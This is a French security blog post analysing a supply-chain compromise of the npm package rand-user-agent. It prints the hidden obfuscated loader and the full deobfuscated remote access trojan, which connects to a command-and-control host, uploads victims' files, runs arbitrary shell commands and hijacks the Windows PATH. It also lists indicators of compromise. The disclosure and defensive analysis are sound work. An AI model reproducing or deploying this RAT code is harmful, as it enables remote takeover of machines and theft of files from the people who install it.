Aikido

RATatouille : Une recette malveillante cachée dans rand-user-agent (Compromission de la chaîne d'approvisionnement)

Charlie EriksenCharlie Eriksen
|
#
#

Le 5 mai, à 16h00 GMT+0, notre pipeline d'analyse automatisée de malwares a détecté la publication d'un package suspect, rand-user-agent@1.0.110. Il a détecté du code inhabituel dans le package, et il ne s'est pas trompé. Il a détecté des signes d'une attaque par la chaîne d'approvisionnement contre ce package légitime, qui compte environ ~45 000 téléchargements hebdomadaires. 

Qu'est-ce que le package ?

Le package `rand-user-agent` génère des chaînes d'agent utilisateur réelles aléatoires basées sur leur fréquence d'occurrence. Il est maintenu par la société WebScrapingAPI (https://www.webscrapingapi.com/).

Qu'avons-nous détecté ?

Notre moteur d'analyse a détecté du code suspect dans le fichier dist/index.js. Voyons cela, tel qu'il apparaît dans la vue du code sur le site de npm :

Code caché via la barre de défilement dans rand-user-agent

Remarquez-vous quelque chose d'étrange ? Voyez-vous cette barre de défilement en bas ? Zut, ils l'ont encore fait. Ils ont essayé de cacher le code. Voici ce qu'il essaie de cacher, mis en forme :

global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
  var siM = "",
    mZw = 357 - 346;
  function pHg(l) {
    var y = 2461180;
    var i = l.length;
    var x = [];
    for (var v = 0; v < i; v++) {
      x[v] = l.charAt(v);
    }
    for (var v = 0; v < i; v++) {
      var h = y * (v + 179) + (y % 18929);
      var w = y * (v + 658) + (y % 13606);
      var s = h % i;
      var f = w % i;
      var j = x[s];
      x[s] = x[f];
      x[f] = j;
      y = (h + w) % 5578712;
    }
    return x.join("");
  }
  var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
  var Abp =
    'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[  v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
  var QbC = pHg[Rjb];
  var duZ = "";
  var yCZ = QbC;
  var pPW = QbC(duZ, pHg(Abp));
  var fqw = pPW(
    pHg(
      ']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7  0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
    ),
  );
  var zlJ = yCZ(siM, fqw);
  zlJ(5164);
  return 8268;
})();

Oui, ça a l'air mauvais. Ce n'est manifestement pas censé être là.

Comment le code est-il arrivé là ?

Si nous examinons le dépôt GitHub du projet, nous constatons que le dernier commit date d'il y a 7 mois, lorsque la version 2.0.82 a été publiée.

Capture d'écran GitHub de Rand-user-agent

Si nous examinons l'historique des versions npm, nous constatons quelque chose d'étrange. Il y a eu plusieurs versions depuis lors :

Donc la dernière version, selon GitHub, devrait être 2.0.82. Et si nous inspectons les packages depuis lors, ils contiennent tous ce code malveillant. Un cas clair d'attaque par la chaîne d'approvisionnement. 

La charge utile malveillante

Le payload est assez obfusqué, utilisant plusieurs couches d'obfuscation pour se dissimuler. Mais voici le payload final que vous finirez par trouver :

global['_H2'] = ''
global['_H3'] = ''
;(async () => {
  const c = global.r || require,
    d = c('os'),
    f = c('path'),
    g = c('fs'),
    h = c('child_process'),
    i = c('crypto'),
    j = f.join(d.homedir(), '.node_modules')
  if (typeof module === 'object') {
    module.paths.push(f.join(j, 'node_modules'))
  } else {
    if (global['_module']) {
      global['_module'].paths.push(f.join(j, 'node_modules'))
    }
  }
  async function k(I, J) {
    return new global.Promise((K, L) => {
      h.exec(I, J, (M, N, O) => {
        if (M) {
          L('Error: ' + M.message)
          return
        }
        if (O) {
          L('Stderr: ' + O)
          return
        }
        K(N)
      })
    })
  }
  function l(I) {
    try {
      return c.resolve(I), true
    } catch (J) {
      return false
    }
  }
  const m = l('axios'),
    n = l('socket.io-client')
  if (!m || !n) {
    try {
      const I = {
        stdio: 'inherit',
        windowsHide: true,
      }
      const J = {
        stdio: 'inherit',
        windowsHide: true,
      }
      if (m) {
        await k('npm --prefix "' + j + '" install socket.io-client', I)
      } else {
        await k('npm --prefix "' + j + '" install axios socket.io-client', J)
      }
    } catch (K) {
      console.log(K)
    }
  }
  const o = c('axios'),
    p = c('form-data'),
    q = c('socket.io-client')
  let r,
    s,
    t = { M: P }
  const u = d.platform().startsWith('win'),
    v = d.type(),
    w = global['_H3'] || 'http://85.239.62[.]36:3306',
    x = global['_H2'] || 'http://85.239.62[.]36:27017'
  function y() {
    return d.hostname() + '$' + d.userInfo().username
  }
  function z() {
    const L = i.randomBytes(16)
    L[6] = (L[6] & 15) | 64
    L[8] = (L[8] & 63) | 128
    const M = L.toString('hex')
    return (
      M.substring(0, 8) +
      '-' +
      M.substring(8, 12) +
      '-' +
      M.substring(12, 16) +
      '-' +
      M.substring(16, 20) +
      '-' +
      M.substring(20, 32)
    )
  }
  function A() {
    const L = { reconnectionDelay: 5000 }
    r = q(w, L)
    r.on('connect', () => {
      console.log('Successfully connected to the server')
      const M = y(),
        N = {
          clientUuid: M,
          processId: s,
          osType: v,
        }
      r.emit('identify', 'client', N)
    })
    r.on('disconnect', () => {
      console.log('Disconnected from server')
    })
    r.on('command', F)
    r.on('exit', () => {
      process.exit()
    })
  }
  async function B(L, M, N, O) {
    try {
      const P = new p()
      P.append('client_id', L)
      P.append('path', N)
      M.forEach((R) => {
        const S = f.basename(R)
        P.append(S, g.createReadStream(R))
      })
      const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
      Q.status === 200
        ? r.emit(
            'response',
            'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
            O
          )
        : r.emit(
            'response',
            'Failed to upload file. Status code: ' + Q.status + '\n',
            O
          )
    } catch (R) {
      r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
    }
  }
  async function C(L, M, N, O) {
    try {
      let P = 0,
        Q = 0
      const R = D(M)
      for (const S of R) {
        if (t[O].stopKey) {
          r.emit(
            'response',
            'HTTP upload stopped: ' +
              P +
              ' files succeeded, ' +
              Q +
              ' files failed\n',
            O
          )
          return
        }
        const T = f.relative(M, S),
          U = f.join(N, f.dirname(T))
        try {
          await B(L, [S], U, O)
          P++
        } catch (V) {
          Q++
        }
      }
      r.emit(
        'response',
        'HTTP upload succeeded: ' +
          P +
          ' files succeeded, ' +
          Q +
          ' files failed\n',
        O
      )
    } catch (W) {
      r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
    }
  }
  function D(L) {
    let M = []
    const N = g.readdirSync(L)
    return (
      N.forEach((O) => {
        const P = f.join(L, O),
          Q = g.statSync(P)
        Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
      }),
      M
    )
  }
  function E(L) {
    const M = L.split(':')
    if (M.length < 2) {
      const R = {}
      return (
        (R.valid = false),
        (R.message = 'Command is missing ":" separator or parameters'),
        R
      )
    }
    const N = M[1].split(',')
    if (N.length < 2) {
      const S = {}
      return (
        (S.valid = false), (S.message = 'Filename or destination is missing'), S
      )
    }
    const O = N[0].trim(),
      P = N[1].trim()
    if (!O || !P) {
      const T = {}
      return (
        (T.valid = false), (T.message = 'Filename or destination is empty'), T
      )
    }
    const Q = {}
    return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
  }
  function F(L, M) {
    if (!M) {
      const O = {}
      return (
        (O.valid = false),
        (O.message = 'User UUID not provided in the command.'),
        O
      )
    }
    if (!t[M]) {
      const P = {
        currentDirectory: __dirname,
        commandQueue: [],
        stopKey: false,
      }
    }
    const N = t[M]
    N.commandQueue.push(L)
    G(M)
  }
  async function G(L) {
    let M = t[L]
    while (M.commandQueue.length > 0) {
      const N = M.commandQueue.shift()
      let O = ''
      if (N.startsWith('cd')) {
        const P = N.slice(2).trim()
        try {
          process.chdir(M.currentDirectory)
          process.chdir(P || '.')
          M.currentDirectory = process.cwd()
        } catch (Q) {
          O = 'Error: ' + Q.message
        }
      } else {
        if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
          const R = E(N)
          if (!R.valid) {
            O = 'Invalid command format: ' + R.message + '\n'
            r.emit('response', O, L)
            continue
          }
          const { filename: S, destination: T } = R
          M.stopKey = false
          O = ' >> starting upload\n'
          if (N.startsWith('ss_upf')) {
            B(y(), [f.join(process.cwd(), S)], T, L)
          } else {
            N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
          }
        } else {
          if (N.startsWith('ss_dir')) {
            process.chdir(__dirname)
            M.currentDirectory = process.cwd()
          } else {
            if (N.startsWith('ss_fcd')) {
              const U = N.split(':')
              if (U.length < 2) {
                O = 'Command is missing ":" separator or parameters'
              } else {
                const V = U[1]
                process.chdir(V)
                M.currentDirectory = process.cwd()
              }
            } else {
              if (N.startsWith('ss_stop')) {
                M.stopKey = true
              } else {
                try {
                  const W = {
                    cwd: M.currentDirectory,
                    windowsHide: true,
                  }
                  const X = W
                  if (u) {
                    try {
                      const Y = f.join(
                          process.env.LOCALAPPDATA ||
                            f.join(d.homedir(), 'AppData', 'Local'),
                          'Programs\\Python\\Python3127'
                        ),
                        Z = { ...process.env }
                      Z.PATH = Y + ';' + process.env.PATH
                      X.env = Z
                    } catch (a0) {}
                  }
                  h.exec(N, X, (a1, a2, a3) => {
                    let a4 = '\n'
                    a1 && (a4 += 'Error executing command: ' + a1.message)
                    a3 && (a4 += 'Stderr: ' + a3)
                    a4 += a2
                    a4 += M.currentDirectory + '> '
                    r.emit('response', a4, L)
                  })
                } catch (a1) {
                  O = 'Error executing command: ' + a1.message
                }
              }
            }
          }
        }
      }
      O += M.currentDirectory + '> '
      r.emit('response', O, L)
    }
  }
  function H() {
    s = z()
    A(s)
  }
  H()
})()

Nous avons affaire à un RAT (cheval de Troie d'accès à distance). En voici un aperçu :

Vue d'ensemble du comportement

Le script établit un canal de communication secret avec un command-and-control (C2) serveur utilisant socket.io-client, tout en exfiltrant des fichiers via axios vers un second endpoint HTTP. Il installe dynamiquement ces modules s'ils sont manquants, les cachant dans un .node_modules dossier sous le répertoire personnel de l'utilisateur.

 C2 Infrastructure

  • Communication Socket: http://85.239.62[.]36:3306
  • Endpoint de téléchargement de fichiers: http://85.239.62[.]36:27017/u/f

Une fois connecté, le client envoie son ID unique (nom d'hôte + nom d'utilisateur), le type de système d'exploitation et l'ID du processus au serveur.

Fonctionnalités

Voici une liste des capacités (commandes) prises en charge par le RAT.

| Command         | Purpose                                                       |
| --------------- | ------------------------------------------------------------- |
| cd              | Change current working directory                              |
| ss_dir          | Reset directory to script’s path                              |
| ss_fcd:<path>   | Force change directory to <path>                              |
| ss_upf:f,d      | Upload single file f to destination d                         |
| ss_upd:d,dest   | Upload all files under directory d to destination dest        |
| ss_stop         | Sets a stop flag to interrupt current upload process          |
| Any other input | Treated as a shell command, executed via child_process.exec() |

Backdoor : Hijack de PATH Python3127

L'une des caractéristiques les plus subtiles de ce RAT est son utilisation d'un détournement de PATH spécifique à Windows, visant à exécuter discrètement des binaires malveillants sous le couvert d'outils Python.

Le script construit et préfixe le chemin suivant au CHEMIN variable d'environnement avant d'exécuter des commandes shell:

%LOCALAPPDATA%\Programs\Python\Python3127

En injectant ce répertoire au début de CHEMIN, toute commande s'appuyant sur des exécutables résolus par l'environnement (par ex., python, pip, etc.) peuvent être détournés silencieusement. Ceci est particulièrement efficace sur les systèmes où Python est déjà censé être disponible.

const Y = path.join(
  process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
  'Programs\\Python\\Python3127'
)
env.PATH = Y + ';' + process.env.PATH

Indicateurs de compromission

Actuellement, les seuls indicateurs dont nous disposons sont les versions malveillantes, à savoir :

  • 2.0.84
  • 1.0.110
  • 2.0.83
| Utilisation | Endpoint | Protocole/Méthode |
| ------------------ | ------------------------------- | -------------------------- |
| Connexion Socket | http://85.239.62[.]36:3306 | socket.io-client |
| Cible d'upload de fichier | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |

Si vous avez installé l'un de ces paquets, vous pouvez vérifier s'il a communiqué avec le C2

4.7/5

Sécurisez votre logiciel dès maintenant.

Essai gratuit
Sans CB
Planifiez une démo
Vos données ne seront pas partagées - Accès en lecture seule - Pas de CB nécessaire

Sécurisez-vous maintenant.

Sécuriser votre code, votre cloud et votre runtime dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Pas de carte de crédit requise | Résultats du scan en 32 secondes.